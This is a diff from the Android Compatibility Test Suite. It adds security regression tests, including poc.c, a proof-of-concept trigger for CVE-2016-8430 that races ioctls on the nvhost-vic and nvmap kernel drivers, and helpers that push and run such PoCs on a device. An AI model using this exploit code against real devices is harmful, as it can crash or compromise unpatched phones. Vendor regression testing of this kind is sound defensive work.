-import java.security.cert.CertificateException;
-import java.security.cert.CertificateFactory;
-import java.util.Arrays;
-
-import javax.net.ssl.TrustManager;
-import javax.net.ssl.TrustManagerFactory;
-import javax.net.ssl.X509TrustManager;
-
-public class WiFiCACertificateBugTest extends PassFailButtons.Activity {
-
-    private static final String CERT_ASSET_NAME = "myCA.cer";
-    private File certStagingFile = new File("/sdcard/", CERT_ASSET_NAME);
-    private KeyguardManager mKeyguardManager;
-    private boolean testResult;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.ca_certificate_wifi);
-        setPassFailButtonClickListeners();
-        setInfoResources(R.string.sec_wifi_ca_cert_test, R.string.sec_wifi_ca_cert_test_info, -1);
-
-        mKeyguardManager = (KeyguardManager) getSystemService(KEYGUARD_SERVICE);
-
-        final Button goToSettingsButton = (Button) findViewById(R.id.gotosettings);
-        goToSettingsButton.setEnabled(false);
-        final Button goToWifiSettingsButton = (Button) findViewById(R.id.gotowifisettings);
-        goToWifiSettingsButton.setEnabled(false);
-        final Button certificateTrustCheckButton = (Button) findViewById(R.id.check_cert_trust);
-        certificateTrustCheckButton.setEnabled(false);
-
-        final TextView finalStepTextView = (TextView) findViewById(R.id.clear_creds_textView);
-
-        final Button transferCertificateButton =
-                (Button) findViewById(R.id.transfer_ca_certificate);
-        if (!isWifiCertificateSupported()) {
-            transferCertificateButton.setEnabled(false);
-            getPassButton().setEnabled(true);
-            finalStepTextView.setText(R.string.sec_autopass_test_instruction);
-        } else {
-            getPassButton().setEnabled(false);
-
-            goToSettingsButton.setOnClickListener(new OnClickListener() {
-                @Override
-                public void onClick(View v) {
-                    //Launch settings of the device
-                    startActivityForResult(
-                            new Intent(android.provider.Settings.ACTION_SECURITY_SETTINGS), 0);
-                    if (testResult) {
-                        getPassButton().setEnabled(true);
-                        finalStepTextView.setText(getResources().getString(R.string
-                                .sec_pass_test_instruction));
-                    } else {
-                        finalStepTextView.setText(getResources().getString(R.string
-                                .sec_fail_test_instruction));
-                    }
-                }
-            });
-            goToWifiSettingsButton.setOnClickListener(new OnClickListener() {
-                @Override
-                public void onClick(View v) {
-                    //Launch Internal Storage.
-                    startActivity(KeyChain.createInstallIntent());
-                }
-            });
-            transferCertificateButton.setOnClickListener(new OnClickListener() {
-                @Override
-                public void onClick(View v) {
-                    if (transferCertificateToDevice()) {
-                        openDialog(getResources().getString(R.string.sec_file_transferred_text));
-                        goToSettingsButton.setEnabled(true);
-                        goToWifiSettingsButton.setEnabled(true);
-                        certificateTrustCheckButton.setEnabled(true);
-                    } else {
-                        openDialog(getResources().getString(R.string.sec_file_transfer_failed));
-                    }
-                }
-            });
-            certificateTrustCheckButton.setOnClickListener(new OnClickListener() {
-                @Override
-                public void onClick(View v) {
-                    Certificate caCert = readCertificate(convertFileToByteArray(certStagingFile));
-                    if (caCert != null) {
-                        if (isCaCertificateTrusted(caCert)) {
-                            testResult = false;
-                            openDialog(getResources().getString(R.string.sec_cert_trusted_text));
-                        } else {
-                            testResult = true;
-                            openDialog(getResources().getString(R.string.sec_cert_nottrusted_text));
-                        }
-                    } else {
-                        openDialog(getResources().getString(R.string.sec_read_cert_exception));
-                    }
-                }
-            });
-        }
-    }
-
-    /**
-     * Transfers the certificate file to the internal storage i.e. /sdcard/ of the device
-     *
-     * @return
-     */
-    private boolean transferCertificateToDevice() {
-        InputStream is = null;
-        FileOutputStream os = null;
-        try {
-            try {
-                is = getAssets().open(CERT_ASSET_NAME);
-                os = new FileOutputStream(certStagingFile);
-                byte[] buffer = new byte[1024];
-                int length;
-                while ((length = is.read(buffer)) > 0) {
-                    os.write(buffer, 0, length);
-                }
-            } finally {
-                if (is != null) is.close();
-                if (os != null) os.close();
-                certStagingFile.setReadable(true, false);
-            }
-        } catch (IOException ioe) {
-            return false;
-        }
-        return true;
-    }
-
-    /**
-     * Converts the certificate file into byte array
-     *
-     * @param file
-     * @return
-     */
-    private static byte[] convertFileToByteArray(File file) {
-        byte[] byteArray = null;
-        try {
-            InputStream inputStream = new FileInputStream(file);
-            ByteArrayOutputStream bos = new ByteArrayOutputStream();
-            byte[] bytes = new byte[1024 * 8];
-            int bytesRead = 0;
-
-            while ((bytesRead = inputStream.read(bytes)) != -1) {
-                bos.write(bytes, 0, bytesRead);
-            }
-            byteArray = bos.toByteArray();
-        } catch (IOException e) {
-            e.printStackTrace();
-        }
-        return byteArray;
-    }
-
-    /**
-     * Opens the dialog with the message passed as an argument
-     *
-     * @param message
-     */
-    private void openDialog(String message) {
-        AlertDialog.Builder alertDialogBuilder = new AlertDialog.Builder(this);
-        alertDialogBuilder.setMessage(message);
-
-        alertDialogBuilder.setPositiveButton(getResources().getString(R.string
-                .hifi_ultrasound_test_ok), new DialogInterface.OnClickListener() {
-            @Override
-            public void onClick(DialogInterface dialog, int arg1) {
-                dialog.dismiss();
-            }
-        });
-        AlertDialog alertDialog = alertDialogBuilder.create();
-        alertDialog.show();
-    }
-
-    /**
-     * Checks if the exploit certificate is trusted by the system
-     *
-     * @param caCert
-     * @return
-     * @throws GeneralSecurityException
-     * @throws CertificateException
-     */
-    private boolean isCaCertificateTrusted(Certificate caCert) {
-
-        boolean trusted = false;
-        TrustManagerFactory tmf = null;
-        try {
-            tmf = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
-            tmf.init((KeyStore) null);
-        } catch (NoSuchAlgorithmException | KeyStoreException e) {
-            return trusted;
-        }
-        for (TrustManager trustManager : tmf.getTrustManagers()) {
-            if (trustManager instanceof X509TrustManager) {
-                final X509TrustManager tm = (X509TrustManager) trustManager;
-                if (Arrays.asList(tm.getAcceptedIssuers()).contains(caCert)) {
-                    trusted = true;
-                    break;
-                }
-            }
-        }
-        return trusted;
-    }
-
-    /**
-     * Convert an encoded certificate back into a {@link Certificate}.
-     * <p/>
-     * Instantiates a fresh CertificateFactory every time for repeatability.
-     */
-    private static Certificate readCertificate(byte[] certBuffer) {
-        CertificateFactory certFactory = null;
-        try {
-            certFactory = CertificateFactory.getInstance("X.509");
-            return certFactory.generateCertificate(new ByteArrayInputStream(certBuffer));
-        } catch (CertificateException e) {
-            return null;
-        }
-    }
-
-    /*
-     * Checks if the installation of Wifi CA certificates is supported.
-     */
-    private boolean isWifiCertificateSupported() {
-        return KeyChain.createInstallIntent() != null;
-    }
-}
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/DeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/DeviceInfo.java
index be44243..c74ed3a 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/DeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/DeviceInfo.java
@@ -20,4 +20,6 @@
  * class instead of DeviceInfoActivity.
  */
 public abstract class DeviceInfo extends DeviceInfoActivity {
+
 }
+
diff --git a/hostsidetests/appsecurity/src/com/android/cts/appsecurity/AdoptableHostTest.java b/hostsidetests/appsecurity/src/com/android/cts/appsecurity/AdoptableHostTest.java
index 5bdf3d9..2ae2e10 100644
--- a/hostsidetests/appsecurity/src/com/android/cts/appsecurity/AdoptableHostTest.java
+++ b/hostsidetests/appsecurity/src/com/android/cts/appsecurity/AdoptableHostTest.java
@@ -26,7 +26,6 @@
 import com.android.cts.appsecurity.SplitTests.BaseInstallMultiple;
 import com.android.cts.tradefed.build.CtsBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IAbi;
@@ -34,7 +33,6 @@
 import com.android.tradefed.testtype.IBuildReceiver;
 
 import java.util.Arrays;
-import java.util.concurrent.TimeUnit;
 
 /**
  * Set of tests that verify behavior of adopted storage media, if supported.
@@ -148,13 +146,8 @@
         assertEmpty(getDevice().executeShellCommand("sm partition " + diskId + " private"));
         final LocalVolumeInfo vol = getAdoptionVolume();
 
-        {
-            // Move storage there and verify that data went along for ride
-            final CollectingOutputReceiver out = new CollectingOutputReceiver();
-            getDevice().executeShellCommand("pm move-primary-storage " + vol.uuid, out, 2,
-                    TimeUnit.HOURS, 1);
-            assertSuccess(out.getOutput());
-        }
+        // Move storage there and verify that data went along for ride
+        assertSuccess(getDevice().executeShellCommand("pm move-primary-storage " + vol.uuid));
         runDeviceTests(PKG, CLASS, "testPrimaryAdopted");
         runDeviceTests(PKG, CLASS, "testPrimaryDataRead");
 
@@ -170,13 +163,8 @@
         runDeviceTests(PKG, CLASS, "testPrimaryOnSameVolume");
         runDeviceTests(PKG, CLASS, "testPrimaryDataRead");
 
-        {
-            // And move back to internal
-            final CollectingOutputReceiver out = new CollectingOutputReceiver();
-            getDevice().executeShellCommand("pm move-primary-storage internal", out, 2,
-                    TimeUnit.HOURS, 1);
-            assertSuccess(out.getOutput());
-        }
+        // And move back to internal
+        assertSuccess(getDevice().executeShellCommand("pm move-primary-storage internal"));
         runDeviceTests(PKG, CLASS, "testPrimaryInternal");
         runDeviceTests(PKG, CLASS, "testPrimaryDataRead");
 
diff --git a/hostsidetests/appsecurity/src/com/android/cts/appsecurity/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/com/android/cts/appsecurity/ExternalStorageHostTest.java
index ba29464..22ff39d 100644
--- a/hostsidetests/appsecurity/src/com/android/cts/appsecurity/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/com/android/cts/appsecurity/ExternalStorageHostTest.java
@@ -25,6 +25,7 @@
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.cts.util.SecurityTest;
 
 import java.io.File;
 import java.io.FileNotFoundException;
@@ -186,6 +187,7 @@
      * Test multi-user emulated storage environment, ensuring that each user has
      * isolated storage.
      */
+    @SecurityTest
     public void testMultiUserStorageIsolated() throws Exception {
         final int[] users = createUsersForTest();
         try {
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
index b1b7f83..efcc731 100644
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_TAGS := tests
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ctsdeviceutil ctstestrunner
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
index bbe8e02..8eb76f0 100644
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
@@ -23,6 +23,8 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import com.android.cts.util.SecurityTest;
+
 import static org.junit.Assert.assertSame;
 
 import com.android.cts.escalate.permission.Manifest;
@@ -30,6 +32,7 @@
 @RunWith(AndroidJUnit4.class)
 public class PermissionEscalationTest {
     @Test
+    @SecurityTest
     public void testCannotEscalateNonRuntimePermissionsToRuntime() throws Exception {
         Context context = InstrumentationRegistry.getTargetContext();
 
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
index c37d052..17b131f 100644
--- a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.mk
@@ -18,7 +18,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ctsdeviceutil ctstestrunner
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) \
     ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/src/com/android/cts/multiuserstorageapp/MultiUserStorageTest.java b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/src/com/android/cts/multiuserstorageapp/MultiUserStorageTest.java
index 3cf1443..14cdb0c 100644
--- a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/src/com/android/cts/multiuserstorageapp/MultiUserStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/src/com/android/cts/multiuserstorageapp/MultiUserStorageTest.java
@@ -29,6 +29,8 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import com.android.cts.util.SecurityTest;
+
 import java.io.File;
 import java.io.FileNotFoundException;
 
@@ -146,6 +148,7 @@
     /**
      * Verify that files cannot be accessed through media provider.
      */
+    @SecurityTest
     public void testMediaProviderUserIsolation() throws Exception {
         final File myPath = Environment.getExternalStorageDirectory();
         final int myId = android.os.Process.myUid() / 100000;
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WifiTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WifiTest.java
index 124ebe8..cda76f2 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WifiTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WifiTest.java
@@ -45,7 +45,7 @@
     private static final String NETWORK_SSID = "com.android.cts.xwde7ktvh8rmjuhr";
 
     // Time duration to allow before assuming that a WiFi operation failed and ceasing to wait.
-    private static final long UPDATE_TIMEOUT_MS = TimeUnit.MINUTES.toMillis(5);
+    private static final long UPDATE_TIMEOUT_MS = TimeUnit.SECONDS.toMillis(30);
     private static final long UPDATE_INTERVAL_MS = TimeUnit.SECONDS.toMillis(1);
 
     // Shared WifiManager instance.
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
new file mode 100644
index 0000000..215194b
--- /dev/null
+++ b/hostsidetests/security/AndroidTest.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for the CTS Security host tests">
+    <target_preparer class="com.android.cts.tradefed.targetprep.CtsFilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="CVE-2016-8430->/data/local/tmp/CVE-2016-8430" />
+    </target_preparer>
+</configuration>
diff --git a/hostsidetests/security/securityPatch/Android.mk b/hostsidetests/security/securityPatch/Android.mk
new file mode 100644
index 0000000..41a41d0
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Android.mk
@@ -0,0 +1,17 @@
+#
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+include $(call all-subdir-makefiles)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8430/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8430/Android.mk
new file mode 100644
index 0000000..d040a6a
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8430/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8430
+LOCAL_SRC_FILES := poc.c
+
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
+
+$(CTS_TESTCASES_OUT)/CVE-2016-8430 : $(LOCAL_BUILT_MODULE) | $(ACP)
+	$(copy-file-to-target)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8430/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8430/poc.c
new file mode 100644
index 0000000..0717d0b
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8430/poc.c
@@ -0,0 +1,204 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <errno.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <stdio.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/resource.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <unistd.h>
+#include <sched.h>
+#include <stdlib.h>
+
+struct nvhost_channel_open_args {
+	__s32 channel_fd;
+};
+struct nvhost_set_error_notifier {
+	__u64 offset;
+	__u64 size;
+	__u32 mem;
+	__u32 padding;
+};
+#define NVHOST_IOCTL_MAGIC 'H'
+#define NVHOST_IOCTL_CHANNEL_OPEN	\
+	_IOR(NVHOST_IOCTL_MAGIC,  112, struct nvhost_channel_open_args)
+#define NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER  \
+	_IOWR(NVHOST_IOCTL_MAGIC, 111, struct nvhost_set_error_notifier)
+struct nvmap_create_handle {
+	union {
+		__u32 id;	/* FromId */
+		__u32 size;	/* CreateHandle */
+		__s32 fd;	/* DmaBufFd or FromFd */
+	};
+	__u32 handle;		/* returns nvmap handle */
+};
+struct nvmap_alloc_handle {
+	__u32 handle;		/* nvmap handle */
+	__u32 heap_mask;	/* heaps to allocate from */
+	__u32 flags;		/* wb/wc/uc/iwb etc. */
+	__u32 align;		/* min alignment necessary */
+};
+#define NVMAP_HEAP_CARVEOUT_IRAM    (1ul<<29)
+#define NVMAP_HEAP_CARVEOUT_VPR     (1ul<<28)
+#define NVMAP_HEAP_CARVEOUT_TSEC    (1ul<<27)
+#define NVMAP_HEAP_CARVEOUT_GENERIC (1ul<<0)
+
+#define NVMAP_HEAP_CARVEOUT_MASK    (NVMAP_HEAP_IOVMM - 1)
+
+/* allocation flags */
+#define NVMAP_HANDLE_UNCACHEABLE     (0x0ul << 0)
+#define NVMAP_HANDLE_WRITE_COMBINE   (0x1ul << 0)
+#define NVMAP_HANDLE_INNER_CACHEABLE (0x2ul << 0)
+#define NVMAP_HANDLE_CACHEABLE       (0x3ul << 0)
+#define NVMAP_HANDLE_CACHE_FLAG      (0x3ul << 0)
+
+#define NVMAP_HANDLE_SECURE          (0x1ul << 2)
+#define NVMAP_HANDLE_KIND_SPECIFIED  (0x1ul << 3)
+#define NVMAP_HANDLE_COMPR_SPECIFIED (0x1ul << 4)
+#define NVMAP_HANDLE_ZEROED_PAGES    (0x1ul << 5)
+#define NVMAP_HANDLE_PHYS_CONTIG     (0x1ul << 6)
+#define NVMAP_HANDLE_CACHE_SYNC      (0x1ul << 7)
+#define NVMAP_IOC_MAGIC 'N'
+
+/* Creates a new memory handle. On input, the argument is the size of the new
+ * handle; on return, the argument is the name of the new handle
+ */
+ #define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
+#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
+#define NVMAP_IOC_FREE       _IO(NVMAP_IOC_MAGIC, 4)
+int g_fd = -1;
+int g_nvmap_fd = -1;
+static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
+static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
+int g_channel_fd = -1;
+struct nvhost_set_error_notifier g_error_notifier;
+struct nvmap_create_handle g_nvmap_hdl;
+
+struct nvmap_alloc_handle g_real_alloc = {0};
+
+int open_driver() {
+    char* dev_path = "/dev/nvhost-vic";
+    g_fd = open(dev_path, O_RDONLY);
+    if (g_fd < 0) {
+        printf("open file(%s) failed, errno=%d\n", dev_path, errno);
+        return -1;
+    } else {
+        printf("open file(%s) succ!\n", dev_path);
+    }
+
+    dev_path = "/dev/nvmap";
+    g_nvmap_fd = open(dev_path, O_RDONLY);
+    if (g_nvmap_fd < 0) {
+        printf("open file(%s) failed, errno=%d\n", dev_path, errno);
+        return -1;
+    } else {
+        printf("open file(%s) succ!\n", dev_path);
+    }
+    return 1;
+}
+
+void trigger_channel_open() {
+    struct nvhost_channel_open_args args = {-1};
+    ioctl(g_fd, NVHOST_IOCTL_CHANNEL_OPEN, &args);
+    g_channel_fd = args.channel_fd;
+}
+
+int trigger_nvmap_create() {
+    g_nvmap_hdl.size = 0x1000;
+    ioctl(g_nvmap_fd, NVMAP_IOC_CREATE, &g_nvmap_hdl);
+    return g_nvmap_hdl.handle;
+}
+
+void trigger_nvmap_free() {
+    int data = g_nvmap_hdl.handle;
+    ioctl(g_nvmap_fd, NVMAP_IOC_FREE, data);
+}
+void trigger_nvmap_alloc(int handle) {
+    g_real_alloc.align = 0x1000;
+    g_real_alloc.heap_mask = NVMAP_HEAP_CARVEOUT_GENERIC;
+    g_real_alloc.flags = NVMAP_HANDLE_ZEROED_PAGES;
+    g_real_alloc.handle = handle;
+    ioctl(g_nvmap_fd, NVMAP_IOC_ALLOC, &g_real_alloc);
+}
+void prepare_data() {
+    g_error_notifier.offset = 0;
+    g_error_notifier.mem = g_nvmap_hdl.handle;
+}
+
+void trigger_set_error_notifier() {
+    ioctl(g_fd, NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER, &g_error_notifier);
+}
+
+void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
+    setpriority(PRIO_PROCESS, gettid(), privi);
+
+    /* bind process to a CPU*/
+    if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
+    }
+}
+
+void* race_thread(void* arg) {
+    setup_privi_and_affinity(-19, 2);
+    pthread_mutex_lock(&mutex);
+    pthread_cond_wait(&cond, &mutex);
+    pthread_mutex_unlock(&mutex);
+    while (1) {
+        trigger_set_error_notifier();
+    }
+    return NULL;
+}
+
+void* race_thread_2(void* arg) {
+    setup_privi_and_affinity(-19, 1);
+    pthread_mutex_lock(&mutex);
+    pthread_cond_wait(&cond, &mutex);
+    pthread_mutex_unlock(&mutex);
+    while (1) {
+        trigger_set_error_notifier();
+    }
+    return NULL;
+}
+
+int main(int argc, char**argv) {
+    setup_privi_and_affinity(0, 1);
+    if (open_driver() < 0) {
+        return -1;
+    }
+    //trigger_nvmap_create();
+    trigger_nvmap_alloc(trigger_nvmap_create());
+    prepare_data();
+    //trigger_nvmap_free();
+    pthread_t tid;
+    pthread_create(&tid, NULL, race_thread, NULL);
+    pthread_create(&tid, NULL, race_thread_2, NULL);
+    usleep(100 * 1000);
+    pthread_cond_broadcast(&cond);
+
+    sleep(100);
+    return 0;
+}
diff --git a/hostsidetests/security/src/android/cts/security/PerfEventParanoidTest.java b/hostsidetests/security/src/android/cts/security/PerfEventParanoidTest.java
new file mode 100644
index 0000000..b581dbe
--- /dev/null
+++ b/hostsidetests/security/src/android/cts/security/PerfEventParanoidTest.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceTestCase;
+
+public class PerfEventParanoidTest extends DeviceTestCase {
+
+   /**
+    * a reference to the device under test.
+    */
+    private ITestDevice mDevice;
+
+    private static final String PERF_EVENT_PARANOID_PATH = "/proc/sys/kernel/perf_event_paranoid";
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mDevice = getDevice();
+    }
+
+    public void testPerfEventRestricted() throws DeviceNotAvailableException {
+        String cmd = "cat " + PERF_EVENT_PARANOID_PATH;
+        String output = mDevice.executeShellCommand(cmd);
+        assertTrue("\n/proc/sys/kernel/perf_event_paranoid=3 is required.\n"
+                   + "Please add CONFIG_SECURITY_PERF_EVENTS_RESTRICT=y\n"
+                   + "to your device kernel's defconfig and apply the\n"
+                   + "appropriate patches for your kernel located here:\n"
+                   + "https://android-review.googlesource.com/#/q/topic:CONFIG_SECURITY_PERF_EVENTS_RESTRICT",
+                   output.equals("3\n"));
+    }
+}
diff --git a/hostsidetests/security/src/android/host/security/cts/AdbUtils.java b/hostsidetests/security/src/android/host/security/cts/AdbUtils.java
new file mode 100644
index 0000000..92a8040
--- /dev/null
+++ b/hostsidetests/security/src/android/host/security/cts/AdbUtils.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.host.security.cts;
+
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Scanner;
+import java.util.concurrent.TimeUnit;
+
+public class AdbUtils {
+
+    /** Runs a commandline on the specified device
+     *
+     * @param command the command to be ran
+     * @param device device for the command to be ran on
+     * @return the console output from running the command
+     */
+    public static String runCommandLine(String command, ITestDevice device) throws Exception
+    {
+        return device.executeShellCommand(command);
+    }
+
+    /**
+     * Pushes and runs a binary to the selected device
+     *
+     * @param pathToPoc a string path to poc from the /res folder
+     * @param device device to be ran on
+     * @return the console output from the binary
+     */
+    public static String runPoc(String pocName, ITestDevice device) throws Exception {
+        device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
+        return device.executeShellCommand("/data/local/tmp/" + pocName);
+    }
+
+    /**
+     * Pushes and runs a binary to the selected device
+     *
+     * @param pathToPoc a string path to poc from the /res folder
+     * @param device device to be ran on
+     * @param timeout time to wait for output in seconds
+     * @return the console output from the binary
+     */
+    public static String runPoc(String pocName, ITestDevice device, int timeout) throws Exception {
+        device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
+        CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+        device.executeShellCommand("/data/local/tmp/" + pocName, receiver, timeout, TimeUnit.SECONDS, 0);
+        String output = receiver.getOutput();
+        return output;
+    }
+
+    /**
+     * Pushes and installs an apk to the selected device
+     *
+     * @param pathToApk a string path to apk from the /res folder
+     * @param device device to be ran on
+     * @return the output from attempting to install the apk
+     */
+    public static String installApk(String pathToApk, ITestDevice device) throws Exception {
+
+        String fullResourceName = pathToApk;
+        File apkFile = File.createTempFile("apkFile", ".apk");
+        try {
+            apkFile = extractResource(fullResourceName, apkFile);
+            return device.installPackage(apkFile, true);
+        } finally {
+            apkFile.delete();
+        }
